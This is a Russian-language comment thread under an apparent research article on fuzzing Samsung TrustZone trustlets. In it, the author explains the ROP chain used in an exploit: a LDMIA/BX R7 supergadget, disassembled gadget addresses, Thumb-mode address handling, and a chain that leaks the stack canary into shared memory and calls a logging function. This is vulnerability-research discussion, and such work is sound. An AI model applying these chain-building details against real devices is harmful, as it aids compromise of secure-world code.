Комментарии 8
Верно. Все трастлеты подписаны.
*(int*)&mem1[offset + 16] = 0x9560b; // r7
Вот здесь вы в r7 грузите адрес куда передастся исполнение, в инструкции "bx r7"?
Если так, то можно узнать что это за адреса
...
*(int*)&mem1[offset + 16] = 0x96829; // r7
...
*(int*)&mem1[offset + 16] = 0x218c7; // r7
...
*(int*)&mem1[offset + 16] = 0x9545b; // r7
и sVirtualAddr это адрес shared памяти между траст зоной и обычным приложением?
*(int*)&mem1[offset + 8] = mapInfo3.sVirtualAddr + 0x100; // r4
Да, вы правильно разобрались!
У нас супергаджет такой:
LDMIA R6!, {R2-R5,R7}
BX R7
Соответственно, переходы от него происходят по регистру r7
. Эти адреса — это адреса других гаджетов, которые я использовал в цепочке вместе с супергаджетом.
.tlbin_text:0009560A MOV R1, R5
.tlbin_text:0009560C MOV R0, R7
.tlbin_text:0009560E BLX R2
.tlbin_text:00096828 LDR R0, [SP,#16]
.tlbin_text:0009682A ADDS R5, R5, #1
.tlbin_text:0009682C BLX R1
.tlbin_text:000218C6 STR R0, [R5,R3]
.tlbin_text:000218C8 MOV R3, R2
.tlbin_text:000218CA MOV R2, R1
.tlbin_text:000218CC MOV R1, R0
.tlbin_text:000218CE MOVS R0, #9
.tlbin_text:000218D0 BLX R4
Тут еще надо учитывать, что в архитектуре ARM исполнение может происходить в режимах ARM и Thumb, поэтому надо не забывать инкрементировать адрес в инструкциях прыжков при переходе на Thumb. В ROPGadget, кстати, есть опция, чтобы искать гаджеты либо в одном, либо в другом режимах.
Такой цепочкой при правильно настроенных регистрах, мы можем прочитать канарейку и записать ее в расшаренную память. Как вы правильно сказали, mapInfo3.sVirtualAddr
это ее адрес на стороне Normal World.
А для Hello, world! нужен гаджет, который загрузит аргумент в r0
и прыгнет на tlApiLogPrintf. Например, такой :) :
.tlbin_text:0009545A MOV R0, R4
.tlbin_text:0009545C BLX R2
Тут еще надо учитывать, что в архитектуре ARM исполнение может происходить в режимах ARM и Thumb, поэтому надо не забывать инкрементировать адрес в инструкциях прыжков при переходе на Thumb.
Теперь понятно почему некоторые адреса переходов нечетные =)
А у вас не осталось бинаря трастлета, по которому вы это делали.
.tlbin_text:000218D0 BLX R4
вот здесь управление должно перескакивать на
*(int*)&mem1[offset + 8] = 0x3d5f4; // r4
Просто уже интересно стало что там дальше происходит
Поиск уязвимостей в Samsung TrustZone, или AFL зафаззит все